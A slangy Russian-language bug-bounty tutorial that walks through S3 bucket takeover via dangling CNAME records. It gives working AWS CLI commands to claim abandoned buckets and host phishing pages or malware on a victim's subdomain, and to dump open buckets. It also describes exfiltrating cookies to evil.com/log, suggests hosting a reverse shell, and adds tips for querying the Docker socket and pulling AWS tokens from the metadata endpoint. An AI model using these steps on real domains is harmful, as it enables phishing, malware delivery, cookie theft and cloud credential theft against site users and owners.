Бро, если думаешь, что AWS S3 — это неприступная крепость, то я тебе сейчас покажу, как старый забытый CNAME может превратить твой баг-репорт в жирный чек. Сегодня копаем в тему S3 bucket takeover, где разрабы оставляют висячие DNS-записи, как мусор на рабочем столе. Это не просто уязвимость, это твой билет в админку через чёрный ход. Погнали.
Точка входа
Что вижу: Висящий CNAME в DNS-записях домена, который указывает на несуществующий или удалённый S3 bucket (например, assets.target.com
→ assets-target-com.s3.amazonaws.com
). Если бакет удалён или не зарегистрирован, его можно зарегать под себя и хостить что угодно — от фишинга до малвари.
Как поймал: Инструмент — dnsrecon -d target.com
или subfinder
для сбора поддоменов, затем dig
или nslookup
для проверки CNAME-записей. Метод — ручной перебор через AWS CLI с командой aws s3 ls s3://assets-target-com
или автоматизация через LazyS3
. Если бакет свободен — это джекпот.
Чем пахнет: Класс — полный takeover (Domain/Bucket Hijacking), вероятность — 7/10. Не все разрабы чистят DNS после удаления S3, а AWS позволяет захватить имя, если оно свободно. Это как оставить ключ от сейфа под ковриком.
Че почем
Эксплойт: Если ты нашёл висящий CNAME, который указывает на some-bucket.s3.amazonaws.com
, и этот бакет не существует — регистрируй его под своим AWS-аккаунтом:
1 |
aws s3 mb s3://some-bucket --region us-east-1 |
Затем заливай туда свой «контент». Например, фишинговую страничку или малварь:
1 |
aws s3 cp evil.html s3://some-bucket/evil.html --acl public-read |
Теперь, когда юзер зайдёт на assets.target.com
, он попадёт на твой контент. Хочешь больше наглости? Настрой редирект или хости reverse-shell:
1 |
aws s3 website s3://some-bucket/ --index-document evil.html |
Обход защиты: Если бакет занят, но доступ публичный (читай: разрабы забыли про Block Public Access
), проверяй права через:
1 |
aws s3 ls s3://some-bucket --no-sign-request |
Если можешь читать/писать — это тоже твой билет. Обход WAF или CDN (если есть) — используй прямой доступ через IP или подмену Host
заголовка:
1 |
curl -H "Host: some-bucket.s3.amazonaws.com" https://<cdn-or-waf-ip> |
Доказательство: Сделай скрин, где ты заходишь на assets.target.com
и видишь свою страничку с надписью «Pwned by братан». Или покажи, как сливаешь куки через JS, залитый на бакет: document.cookie
уходит на твой сервер evil.com/log
. Видишь это в логах? Это не фото кота, это твой баг-репорт на $5k.
Советы
3 вектора для добивания:
-
Проверь другие поддомены: Если один CNAME висит, то и другие поддомены могут быть мусором. Фуззи через
ffuf -w subdomains.txt -u http://FUZZ.target.com
или используйAmass
для пассивного сбора. -
Ищи связанные сервисы: Если S3 привязан к CloudFront, проверяй его настройки на предмет слабых политик. Иногда CDN отдаёт доступ к бакету через обход. Пробуй:
curl -H "Host: some-bucket.s3.amazonaws.com" https://cloudfront-url
. -
Смотри на старые записи: Исторические данные DNS (например, через
securitytrails.com
) могут показать удалённые CNAME, которые всё ещё кэшируются где-то. Это твой шанс на захват.
План атаки:
-
Собирай поддомены через
subfinder -d target.com -o subdomains.txt
. -
Проверяй CNAME-записи через
dnsrecon -d target.com -t axfr
или вручную сdig CNAME sub.target.com
. -
Если находишь свободный S3-бакет, регистрируй его через
aws s3 mb
и заливай PoC (как выше). Если бакет занят, но публичный — сливай всё черезaws s3 sync s3://some-bucket ./local-dump --no-sign-request
.
Бонус: Проверь robots.txt
и sitemap.xml
на наличие старых S3-ссылок или бэкапов. Если видишь S3 в хедерах или URL — копай глубже. И да, если Docker где-то рядом — не забудь про curl --unix-socket /var/run/docker.sock http://localhost/images/json
. Это тебе подарок от деда. Ещё один лайфхак: ищи AWS-токены через облачные метаданные на 169.254.169.254/latest/meta-data/
. Если повезёт — это твой джекпот.